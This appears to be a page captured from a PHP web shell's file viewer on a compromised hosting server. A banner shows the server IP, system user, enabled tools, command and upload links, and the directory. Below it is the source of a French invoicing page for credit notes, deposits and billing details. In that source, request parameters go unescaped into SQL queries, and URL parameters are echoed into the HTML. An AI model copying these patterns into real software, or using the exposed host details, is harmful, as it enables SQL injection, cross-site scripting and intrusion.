|
Server IP : 10.128.40.6 / Your IP : 216.73.216.233 Web Server : Apache System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : logmcpe ( 111175) PHP Version : 7.3.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/logmcpe/www/mcg/pages/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
include 'includes/config_tmcpro.php' ;
include 'includes/stable_functions_tmcpro.php' ;
// error_reporting(E_ALL);
// dini_set("ddisplay_errors", 1);
// ini_set('memory_limit', '1000M');
$pagemenu = basename($_SERVER["PHP_SELF"]) ;
$now = time();
include('file_tache.php');
function dateDiff($date1, $date2){
$diff = abs($date1 - $date2); // abs vour avoir la valeur absolute, ainsi éviter d'avoir une différence négative
$retour = array();
$tmp = $diff;
$retour['second'] = $tmp % 60;
$tmp = floor( ($tmp - $retour['second']) /60 );
$retour['minute'] = $tmp % 60;
$tmp = floor( ($tmp - $retour['minute'])/60 );
$retour['hour'] = $tmp % 24;
$tmp = floor( ($tmp - $retour['hour']) /24 );
$retour['day'] = $tmp;
return $retour;
}
// if(!empty($_POST))
// {
// echo '<pre>';
// print_r($_POST);
// echo '</pre>';
// exit() ;
// payerFacture($_POST['fact'], $_POST['montant'], $_POST['mode'], $_POST['client_id'],$_POST['chek'],$_POST['bank']);
// }
if($_POST['fact']==0 and (!empty($_POST['montant'])) )
{
payerFacture($_POST['fact'], $_POST['montant'], $_POST['mode'], $_POST['client_id'],$_POST['chek'],$_POST['bank']);
}
// if(!empty($_POST))
// {
// echo 'test';
// print_r($_POST);
// echo '</pre>';
// exit() ;
// }
// ini_set('display_errors','on');
// error_reporting(E_ALL);
///////////variable session de client ///////////////////////////////
// if(!empty($_GET['client_id']))
// {
// $_SESSION["client_id"]=$_GET['client_id'];
// }
// $client_id =$_SESSION["client_id"] ;
if(!empty($_GET['client_id']))
{
$client_id = $_GET['client_id'] ;
$_SESSION["client_id"] = $client_id ;
}
else
{
$client_id=$_SESSION["client_id"] ;
}
//////////////////////////function////////////////////////////////////
function get_drop_down_reglement2 ($name='', $param = '', $value='')
{
$q = dbi_query("SELECT * FROM reglement") ;
$res = "<select class='form-control' name=\"$name\" $param>" ;
while($r = dbi_fetch_row($q))
$res .= "<option value=\"{$r['reglement_id']}\"".($r['reglement_id'] == $value ? ' selected' : (($value==''&&$r['reglement_id'] == 2) ? ' selected' : '')).">".utf8_encode($r['reglement_desc'])."</option>" ;
return "$res</select>" ;
}
// /////////////////////saisir infos de facturations ///////////////////////////////////
if( isset($_POST['reglement_delai']) && isset($_POST['client_id']) )
{
$client_nom_facture=addslashes($_POST['client_nom_facture']);
$client_facture_cp=$_POST['client_facture_cp'];
$client_facture_ville= addslashes($_POST['client_facture_ville']);
$client_adrfact_1 = addslashes($_POST['client_adrfact_1']) ;
$client_adrfact_2 = addslashes($_POST['client_adrfact_2']) ;
$client_adrfact_3 = addslashes($_POST['client_adrfact_3'] ) ;
$Client_ID=$_POST['client_id'];
$client_nom=$_POST['client_nom'];
$client_facture_mail='';
$client_env_mail = $_POST['client_env_mail'];
$litige='';
$client_facture_mail = $_POST['client_facture_mail'];
$client_facture_mail_2 = $_POST['client_facture_mail_2'];
$client_facture_mail_3 = $_POST['client_facture_mail_3'];
$litige = 1;
$reglement_id = $_POST['reglement_id'];
$reglement_delai = $_POST['reglement_delai'] ;
$sqlupdate1 = "UPDATE ".TABLE_CLIENT." SET reglement_id="."'$reglement_id'"." , reglement_delai="."'$reglement_delai'"." ,client_env_mail="."'$client_env_mail'".", client_facture_mail="."'$client_facture_mail'".",client_facture_mail_2="."'$client_facture_mail_2'".",client_facture_mail_3="."'$client_facture_mail_3'".", client_facture_cp="."'$client_facture_cp'".", client_adrfact_1="."'$client_adrfact_1'"." , client_adrfact_2="."'$client_adrfact_2'"." , client_adrfact_3="."'$client_adrfact_3'".", litige="."'$litige'".", client_facture_ville="."'$client_facture_ville'"." , client_nom_facture="."'$client_nom_facture'"." WHERE client_id = $Client_ID" ;
dbi_query ( $sqlupdate1 );
header('Location:fcfacturation.php?msg=bien Modifié&color=success');
}
// /////////////////////saisir infos de facturations ///////////////////////////////////
if (isset($_POST['avoir'], $_POST['fact_idd']))
{
// print_r($_POST);
$montant = (real)str_replace(',', '.', $_POST['avoir']);
$desc = NULL ;
$desc = $_POST['desc'];
$fId = $_POST['fact_idd'];
// echo "==>".$fId."<br/>" ;
// exit() ;
$erreur = array() ;
// echo "-->".$_POST['fact']."<br/>";
$info_fact = dbi_fetch_row(dbi_query(" SELECT * FROM `facture` WHERE fact_id = ".$_POST['fact_idd'] )) ;
// echo "--- date facte-->".$info_fact['date_fact']."<br/>" ;
// echo "--- montant avans -->".$montant."<br/>" ;
/* j'ai commenté cet ligne pour enregister directemt les avoirs */
// if ($info_fact['date_fact']>20140101 )
// {
// $montant = $montant * 1.2 ;
// }
// else
// {
// $montant = $montant * 1.196 ;
// }
// echo "--- montant apres -->".$montant."<br/>" ;
// exit() ;
if ($montant <= 0) {
$erreur[] = "Le montant d'un avoire doit être strictement positif" ;
}
list($max) = dbi_fetch_row(dbi_query("SELECT MAX(f.total) - if(sum(a.montant) is null, 0, sum(a.montant)) FROM ".TABLE_FACT." f LEFT JOIN ".TABLE_AVOIR." a using (fact_id) WHERE f.fact_id = $fId")) ;
if($montant > $max)
$erreur[] = "Le montant d'un avoir pour cette facture ne doit pas dépasser ".number_format($max, 2, ',', ' ').' €' ;
// print_r($max);
$i = 0 ;
if(empty($erreur) or $i == 0 )
{
// list($num) = dbi_fetch_row(dbi_query("SELECT value FROM ".TABLE_CONFIG." WHERE agence_id = $agence AND `key` = 'auto'")) ;
// dbi_query("UPDATE ".TABLE_CONFIG." set value = value+1 WHERE agence_id=$agence AND `key` = 'auto'");
list($num) = dbi_fetch_row(dbi_query("SELECT max(`num_avoir`) FROM `avoir`")) ;
$num = $num + 1 ;
// dbi_query("INSERT INTO ".TABLE_AVOIR." (montant, fact_id, agence_id, num_avoir, date,desc) VALUES('$montant', '$fId', '$agence', '$num', CURDATE()+0,'$desc')") ;
// mysqli_query("SET NAMES 'utf8'");
$nbheure = $_POST['nbheure'] ;
dbi_query("INSERT INTO ".TABLE_AVOIR." (montant, fact_id, agence_id, num_avoir, date , nbheure ) VALUES('$montant', '$fId', '$agence', '$num', CURDATE()+0 , $nbheure)") ;
list($total) = dbi_fetch_row(dbi_query("SELECT -total+sum(if(p.montant is null, 0, p.montant))+sum(if(a.montant is null, 0, a.montant)) AS paye,
sum(if(a.montant is null, 0, a.montant)) avoir,
f.date_fact, if(sum(if(p.montant is null, 0, p.montant))+sum(if(a.montant is null, 0, a.montant)) >= total, 'Réglé', if(sum(if(p.montant is null, 0, p.montant))+sum(if(a.montant is null, 0, a.montant)) = 0, 'Pas de règlement', 'Règlement partiel')) statut,
f.relance
FROM ".TABLE_FACT." f
LEFT JOIN ".TABLE_PAIEMENT." p ON f.fact_id=p.fact_id AND f.client_id=p.client_id
LEFT JOIN ".TABLE_AVOIR." a ON f.fact_id = a.fact_id
WHERE f.fact_id = $fId
GROUP BY f.fact_id, total")) ;
if($total > 0)
{
$q = dbi_query("SELECT * FROM ".TABLE_PAIEMENT." p WHERE fact_id = $fId ORDER BY paiement_id DESC") ;
while($total > 0 && $p = dbi_fetch_row($q))
{
dbi_query("DELETE FROM ".TABLE_PAIEMENT." WHERE paiement_id = ".$p['paiement_id']) ;
// echo "test <br/>" ;
payerFacture($fId, $p['montant'], $p['reglement_id'],$_POST['client_id'],$p['num_cheque'],$p['banque']) ;
$total -= $p['montant'] ;
}
}
}
else
{
}
$client_id = $_POST['client_id'] ;
header('Location:fcfacturation.php?msg=Avoir bien enregistrer &color=success');
}
$q= dbi_fetch_row(dbi_query("SELECT * FROM client where client_id = ".$client_id)) ;
?>
<!DOCTYPE html>
<html>
<head>
<?php include('header.php'); ?>
<script type="text/javascript" src="plugins/selectize/selectize.js"></script>
<link rel="stylesheet" type="text/css" href="plugins/selectize/selectize.css" />
<script type="text/javascript" src="plugins/selectize/selectize.min.js"></script>
<link rel="stylesheet" type="text/css" href="plugins/selectize/selectize.default.css" />
<link rel="stylesheet" href="../../plugins/summernote/summernote-bs4.css">
<!-- jQuery 2.2.3 -->
<script src="plugins/jQuery/jquery-2.2.3.min.js"></script>
<!-- Bootstrap 3.3.6 -->
<script src="bootstrap/js/bootstrap.min.js"></script>
<!-- DataTables -->
<script src="plugins/datatables/jquery.dataTables.min.js"></script>
<script src="plugins/datatables/dataTables.bootstrap.min.js"></script>
<!-- SlimScroll -->
<script src="plugins/slimScroll/jquery.slimscroll.min.js"></script>
<style type="text/css">
.modal-backdrop {
/* bug fix - no overlay */
display: none;
}
</style>
<!-- SlimScroll -->
</head>
<body class="hold-transition sidebar-mini">
<!-- Site wrapper -->
<div class="wrapper">
<nav class="main-header navbar navbar-expand navbar-white navbar-light">
<!-- Menu extensible -->
<ul class="navbar-nav">
<li class="nav-item"><a class="nav-link" data-widget="pushmenu" href="#"><i class="fas fa-bars"></i></a></li>
<li> <button href="#myModal1" id="custId" data-toggle="modal" data-target="#myModal1" type="button" class="btn btn-info" > INFOS FACTURATION </button> </li>
<li>  <button href="#myModal2" id="custId" data-toggle="modal" data-target="#myModal2" type="button" class="btn btn-primary" ><i class="fas fa-plus"></i> AVOIR </button> </li>
 
<li>  <button href="#myModal3" id="custId" data-toggle="modal" data-target="#myModal3" type="button" class="btn btn-primary" ><i class="fas fa-plus"></i> Acompte </button> </li>
 
<li>
<h3><a href="#myModal_tache_all" id="custId" data-toggle="modal" > <button type="button" class="btn btn-primary" > <i class="fas fa-plus"></i> NOUVELLE TACHE</button> </a></h3>
</li>
</ul>
<!-- liens TOP MENU DROITE -->
<ul class="navbar-nav ml-auto">
<!-- Placer ici l'élément à positionner à droite du TOP MENU -->
</ul>
</nav> <!-- fin du TOP MENU -->
<?php include('menu.php'); ?>
<div class="modal fade" id="myModal_tache_all" role="dialog" class="modal fade task-modal-single in" tabindex="-1" aria-labelledby="myLargeModalLabel" >
<div class="modal-dialog modal-lg">
<div class="modal-content data">
<div id="fetch_tache_all" ></div>
</div>
</div>
</div>
<?php $client =dbi_fetch_row(dbi_query("SELECT * FROM `client` WHERE `client_id` = ".$client_id)) ; ?>
<div class="modal fade" id="myModal1">
<div class="modal-dialog modal-lg">
<div class="modal-content">
<div class="modal-header">
<h4 class="modal-title">INFOS FACTURATION</h4>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<div class="card-body">
<form action="" method="POST">
<input type="hidden" name="client_id" value="<?=$client_id?>">
<div class="form-row">
<div class="form-group col-md-4">
<label> Mode de règlement :</label>
<div class="input-group">
<?=get_drop_down_reglement2('reglement_id', "style='width:100%;'", $client['reglement_id'])?>
</div>
</div>
<div class="form-group col-md-4">
<label> Échéance :</label>
<div class="input-group">
<input type="text" class="form-control" name="reglement_delai" id="reglement_delai" value="<?=$client['reglement_delai'];?>" class="field required" />
</div>
</div>
<div class="form-group col-md-4">
<label> facture par e-mail :</label>
<div class="input-group">
<select class="form-control" name="client_env_mail" >
<option value="1" <?php if($client['client_env_mail']=='1') echo "SELECTED";?> >OUI </option>
<option value="0" <?php if($client['client_env_mail']=='0') echo "SELECTED";?> >NON </option>
</select>
</div>
</div>
<div class="form-group col-md-5">
<label> Nom :</label>
<div class="input-group">
<input type="text" class="form-control" name="client_nom_facture" id="client_nom_facture" value="<?=$client['client_nom_facture'];?>" />
</div>
</div>
<div class="form-group col-md-7">
<label> Adress 1 :</label>
<div class="input-group">
<input type="text" class="form-control" name="client_adrfact_1" id="client_adrfact_1" value="<?=$client['client_adrfact_1'];?>" />
</div>
</div>
<div class="form-group col-md-6">
<label> Adress 2 :</label>
<div class="input-group">
<input type="text" class="form-control" name="client_adrfact_2" id="client_adrfact_2" value="<?=$client['client_adrfact_2'];?>" />
</div>
</div>
<div class="form-group col-md-6">
<label> Adress 3 :</label>
<div class="input-group">
<input type="text" class="form-control" name="client_adrfact_3" id="client_facture_adress" value="<?=$client['client_adrfact_3'];?>" />
</div>
</div>
<div class="form-group col-md-2">
<label> CP :</label>
<div class="input-group">
<input type="text" class="form-control" name="client_facture_cp" id="client_facture_cp" value="<?=$client['client_facture_cp'];?>" />
</div>
</div>
<div class="form-group col-md-4">
<label> Ville :</label>
<div class="input-group">
<input type="text" class="form-control" name="client_facture_ville" id="client_facture_ville" value="<?=$client['client_facture_ville'];?>" />
</div>
</div>
<div class="form-group col-md-6">
<label> Mail :</label>
<div class="input-group">
<input type="text" class="form-control" name="client_facture_mail" id="client_facture_mail" placeholder="test@test" value="<?=$client['client_facture_mail'];?>" />
</div>
</div>
<div class="form-group col-md-6">
<label> Mail 2 :</label>
<div class="input-group">
<input type="text" class="form-control" name="client_facture_mail_2" id="client_facture_mail_2" placeholder="test@test" value="<?=$client['client_facture_mail_2'];?>" />
</div>
</div>
<div class="form-group col-md-6">
<label> Mail 3:</label>
<div class="input-group">
<input type="text" class="form-control" name="client_facture_mail_3" id="client_facture_mail_3" placeholder="test@test" value="<?=$client['client_facture_mail_3'];?>" />
</div>
</div>
</div>
<div class="modal-footer justify-content-between">
<input type="hidden" name="info" value="info">
<input type="submit" class="btn btn-primary" value="Enregistrer">
<button type="button" class="btn btn-danger" data-dismiss="modal">Fermer</button>
</div>
</form>
</div>
</div>
</div>
<!-- /.modal-content -->
</div>
<!-- /.modal-dialog -->
</div>
<div class="modal fade" id="myModal3">
<div class="modal-dialog modal-lg">
<div class="modal-content">
<div class="modal-header">
<h4 class="modal-title">Acompte</h4>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<div class="card-body">
<form action="" method="POST">
<input type="hidden" name="client_id" value="<?=$client_id?>">
<div class="form-row">
<div class="form-group col-md-4">
<label> Acompte de :</label>
<div class="input-group">
<input class="form-control" name="montant" size="6" value="0,00" style="text-align:right">
</div>
</div>
<div class="form-group col-md-4">
<label> Mode de réglement :</label>
<div class="input-group">
<?=get_drop_down_reglementt('mode', '', $reglement)?><br />
</div>
</div>
<div class="form-group col-md-4">
<label> Chèque N° :</label>
<div class="input-group">
<input class="form-control" type="text" name="chek" value="">
</div>
</div>
<div class="form-group col-md-4">
<label> Banque </label>
<div class="input-group">
<input class="form-control" type="text" name="bank" value="<?=$bnk['banque']?>">
</div>
</div>
</div>
</div>
</div>
<div class="modal-footer justify-content-between">
<input type="hidden" name="fact" value="0">
<input type="submit" class="btn btn-primary" value="Enregistrer">
<button type="button" class="btn btn-danger" data-dismiss="modal">Fermer</button>
</form>
</div>
</div>
<!-- /.modal-content -->
</div>
<!-- /.modal-dialog -->
</div>
<div class="modal fade" id="myModal2">
<div class="modal-dialog modal-lg">
<div class="modal-content">
<div class="modal-header">
<h4 class="modal-title">SAISIR UN AVOIR</h4>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<div class="card-body">
<form action="" method="POST">
<input type="hidden" name="client_id" value="<?=$client_id?>">
<div class="form-row">
<div class="form-group col-md-4">
<label> Montant TTC :</label>
<div class="input-group">
<input type="text" class="form-control" name="avoir" size="6" class="field required" />
</div>
</div>
<div class="form-group col-md-4">
<label> facture :</label>
<div class="input-group">
<select class="form-control" name="fact_idd" style="width:100%" class="field required">
<?php
$q = dbi_query("SELECT f.num_fact, fact_id FROM ".TABLE_FACT." f WHERE f.client_id=$client_id ORDER BY num_fact DESC") ;
while($f = dbi_fetch_row($q))
echo '<option value="'.$f['fact_id'].'">Facture nº'.$f['num_fact'].'</option>' ;
?>
</select>
</div>
</div>
<div class="form-group col-md-4">
<label> Nombre d'heures :</label>
<div class="input-group">
<input class="form-control" type="text" id="nbheure" name="nbheure" required>
</div>
</div>
</div>
</div>
</div>
<div class="modal-footer justify-content-between">
<input type="submit" class="btn btn-primary" value="Enregistrer">
<button type="button" class="btn btn-danger" data-dismiss="modal">Fermer</button>
</div>
</form>
</div>
<!-- /.modal-content -->
</div>
<!-- /.modal-dialog -->
</div>
<!-- Ne pas toucher au dessus / fin de la BARRE DE NAVIGATION-->
<!-- DEMARRAGE DE LA PAGE PRINCIPALE -->
<div class="content-wrapper">
<!-- Content Header (Page header) -->
<div class="content-header">
<div class="container-fluid">
<div class="row mb-2">
<div class="col-sm-6">
<h1 class="m-0 text-dark"></h1>
</div><!-- /.col -->
<div class="col-sm-6">
</div><!-- /.col -->
</div><!-- /.row -->
</div><!-- /.container-fluid -->
</div>
<!-- /.content-header -->
<!-- PAGE PRINCIPALE -->
<div class="content">
<div class="container-fluid">
<div class="row">
<!-- DEFINITION DES COLONNES -->
<div class="col-lg-3">
<!-- WIDGET AVEC LE NOM DU CLIENT -->
<?php include('widget_client.php'); ?>
<!-- BARRE DE NAVIGATION DU CLIENT -->
<?php include('menu_client.php'); ?>
</div>
<!-- PASSAGE A LA COLONNE DE DROITE-->
<div class="col-lg-9">
<div class="row">
<div class="col-lg-12">
<!-- CARD DE DROITE-->
<div class="card">
<div class="card-body">
<!-- ><section class="content"> CARD DE DROITE-->
<?php if(isset($_GET["msg"])){ ?>
<div class="alert alert-<?php echo $_GET["color"]; ?> alert-dismissible col-12" role="alert">
<strong><?php echo $_GET["color"].': '; ?></strong><?php echo $_GET["msg"]; ?>.
<button type="button" class="close" data-dismiss="alert" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<?php }
// die('');
$query = "SELECT f.num_fact,
f.fact_id, total,date_debut,date_fin,
total-if(p.paye is null, 0, p.paye)-if(a.avoir is null, 0, a.avoir) AS paye,
if(a.avoir is null, 0, a.avoir) avoir,
f.date_fact, if(if(p.paye is null, 0, p.paye)+if(a.avoir is null, 0, a.avoir) >= total, 'Réglé', if(if(p.paye is null, 0, p.paye)+if(a.avoir is null, 0, a.avoir) = 0, 'Pas de règlement', 'Règlement partiel')) statut,
f.relance
FROM ".TABLE_FACT." f
LEFT JOIN (select if(sum(if(montant is null, 0, montant)) is null, 0, sum(if(montant is null, 0, montant))) paye, fact_id FROM ".TABLE_PAIEMENT." where client_id = $client_id group by fact_id) p ON f.fact_id = p.fact_id
LEFT JOIN (select if(sum(if(montant is null, 0, montant)) is null, 0, sum(if(montant is null, 0, montant))) avoir, fact_id FROM ".TABLE_AVOIR." group by fact_id) a ON f.fact_id = a.fact_id
WHERE f.client_id=$client_id
AND f.agence_id=$agence
AND if(p.paye is null, 0, p.paye)+if(a.avoir is null, 0, a.avoir) %s total
GROUP BY date_fact, f.fact_id, total
order by num_fact DESC" ;
$q = dbi_query(sprintf($query, '>=')) ;
$query2 = "SELECT f.num_fact,
f.fact_id, total,date_debut,date_fin,
total-if(p.paye is null, 0, p.paye)-if(a.avoir is null, 0, a.avoir) AS paye,
if(a.avoir is null, 0, a.avoir) avoir,
f.date_fact, if(if(p.paye is null, 0, p.paye)+if(a.avoir is null, 0, a.avoir) >= total, 'Réglé', if(if(p.paye is null, 0, p.paye)+if(a.avoir is null, 0, a.avoir) = 0, 'Pas de règlement', 'Règlement partiel')) statut,
f.relance
FROM ".TABLE_FACT." f
LEFT JOIN (select if(sum(if(montant is null, 0, montant)) is null, 0, sum(if(montant is null, 0, montant))) paye, fact_id FROM ".TABLE_PAIEMENT." where client_id = $client_id group by fact_id) p ON f.fact_id = p.fact_id
LEFT JOIN (select if(sum(if(montant is null, 0, montant)) is null, 0, sum(if(montant is null, 0, montant))) avoir, fact_id FROM ".TABLE_AVOIR." group by fact_id) a ON f.fact_id = a.fact_id
WHERE f.client_id=$client_id
AND f.agence_id=$agence
AND if(p.paye is null, 0, p.paye)+if(a.avoir is null, 0, a.avoir) %s total
GROUP BY date_fact, f.fact_id, total
order by num_fact DESC" ;
//printf($query, '<');
$date = date("Ymd");
// echo " $reglementDelai $date <br/>";
$q2 = dbi_query(sprintf($query2, '<')) ;
if(mysqli_num_rows($q2) || mysqli_num_rows($q))
{
// echo ' *************** ';
?><br clear="all" />
<div id="tab">
<div class="box-body">
<table id="" class="table table-hover">
<thead>
<tr>
<th style="text-align:center;">N°</th>
<th style="text-align:center;">DATE</th>
<th style="text-align:center;">MONTANT</th>
<th style="text-align:center;">Net à payer</th>
<th style="text-align:center;">Règlement</th>
<th style="text-align:center;"></th>
</tr>
</thead>
<tbody>
<?php
while($f = dbi_fetch_row($q2))
{
// echo "---> $f['fact_id']"
$date2 = strtotime($f['date_fact']);
$a = dateDiff($now, $date2) ;
// if($a['day']> $reglementDelai )
// {
?>
<tr>
<td style="text-align:center;"><?=$f['num_fact']?></td>
<td style="text-align:center;"><?=int2date($f['date_fact'])?></td>
<td style="text-align:center;"><?=number_format($f['total'], 2, ', ', ' ').' €'?></td>
<td style="text-align:center;"><?=number_format($f['paye'], 2, ', ', ' ')?> € <?=($f['avoir'] > 0) ? '<br>(avoir de '.number_format($f['avoir'], 2, ', ', ' ').' €)' : ''?></td>
<td style="text-align:center;"><?=$f['statut']?></td>
<td style="text-align:center;">
<a href="code/fact.php?fid=<?=$f['fact_id']?>" target="_blank" class="btn btn-info btn-sm"> <i class="fas fa-eye"></i> </a>
<?=$f['relance'] ? ' | <a href="factures/'.$client_id.'/'.$f['fact_id'].'-'.$f['relance'].'.pdf" target="_blank">Voir la dernière relance</a>' : ''?>
<?php
if ($f['avoir'])
{
$qa = dbi_query("SELECT * FROM ".TABLE_AVOIR." WHERE fact_id = ".$f['fact_id']." AND agence_id = $agence") ;
while($a = dbi_fetch_row($qa))
printf('<br/><br/>
<a href="avoir.php?aid=%d" target="_blank" class="btn btn-info btn-sm">Avoir nº%d</a>', $a['avoir_id'], $a['num_avoir']);
}
?></td>
</tr>
<?php
// }
}
while($f = dbi_fetch_row($q))
{
?>
<tr>
<td style="text-align:center;"><?=$f['num_fact']?></td>
<td style="text-align:center;"><?=int2date($f['date_fact'])?></td>
<td style="text-align:center;"><?=number_format($f['total'], 2, ', ', ' ').' €'?></td>
<td style="text-align:center;"><?=number_format($f['paye'], 2, ', ', ' ')?> € <?=($f['avoir'] > 0) ? '<br>(avoir de '.number_format($f['avoir'], 2, ', ', ' ').' €)' : ''?></td>
<td style="text-align:center;"><?=$f['statut']?></td>
<td style="text-align:center;"><a href="code/fact.php?fid=<?=$f['fact_id']?>" target="_blank" class="btn btn-info btn-sm"> <i class="fas fa-eye"></i> </a>
<?=$f['relance'] ? ' | <a href="factures/'.$client_id.'/'.$f['fact_id'].'-'.$f['relance'].'.pdf" target="_blank" class="btn btn-info btn-sm">Voir la dernière relance</a>' : ''?>
<?php
if ($f['avoir'])
{
$qa = dbi_query("SELECT * FROM ".TABLE_AVOIR." WHERE fact_id = ".$f['fact_id']." AND agence_id = $agence") ;
while($a = dbi_fetch_row($qa))
printf('<br><br/><a href="avoir.php?aid=%d" target="_blank" class="btn btn-info btn-sm">Avoir nº%d</a>', $a['avoir_id'], $a['num_avoir']);
}
?></td>
</tr>
<?php
}
echo '</tbody></table></div></div>';
}
?>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- /.row -->
</div><!-- /.container-fluid -->
</div>
<!-- Control Sidebar -->
<aside class="control-sidebar control-sidebar-dark">
<!-- Control sidebar content goes here -->
<div class="p-3">
<h5>Title</h5>
<p>Sidebar content</p>
</div>
</aside>
<!-- /.control-sidebar -->
<?php include('footerr.php'); ?>
<!-- Control Sidebar -->
<aside class="control-sidebar control-sidebar-dark">
<!-- Control sidebar content goes here -->
</aside>
<!-- /.control-sidebar -->
</div>
<!-- ./wrapper -->
<script>
$(function () {
// Summernote
// $('.textarea').summernote()
})
</script>
<script>
$(document).ready(function(){
// $('#myModal1').on('show.bs.modal', function (e) {
// var rowid = $(e.relatedTarget).data('id');
// alert(rowid);
// $.ajax({
// type : 'post',
// url : 'AJAXINFOSFACTURATION.php', //Here you will fetch records
// data : 'rowid='+ rowid, //Pass $id
// success : function(data){
// $('#fetch1').html(data);//Show fetched data from database
// }
// });
// });
// $('#myModal2').on('show.bs.modal', function (e) {
// var rowid = $(e.relatedTarget).data('id');
// $.ajax({
// type : 'post',
// url : 'AJAXSAISIRAVOIR.php', //Here you will fetch records
// data : 'rowid='+ rowid, //Pass $id
// success : function(data){
// $('#fetch2').html(data);//Show fetched data from database
// }
// });
// });
});
</script>
<script>
$(function () {
$("#example1").DataTable();
$('#example2').DataTable({
"paging": true,
"lengthChange": false,
"searching": false,
"ordering": true,
"info": true,
"autoWidth": false,
});
});
</script>
<script type="text/javascript">
$(document).ready(function(){
$('#myModal_tache_all').on('show.bs.modal', function (e) {
var rowid = $(e.relatedTarget).data('id');
$.ajax({
type : 'post',
url : 'tache_ajax_nv_all.php', //Here you will fetch records
data : 'rowid='+ rowid, //Pass $id
success : function(data){
$('#fetch_tache_all').html(data);//Show fetched data from database
}
});
});
});
</script>
</body>
</html>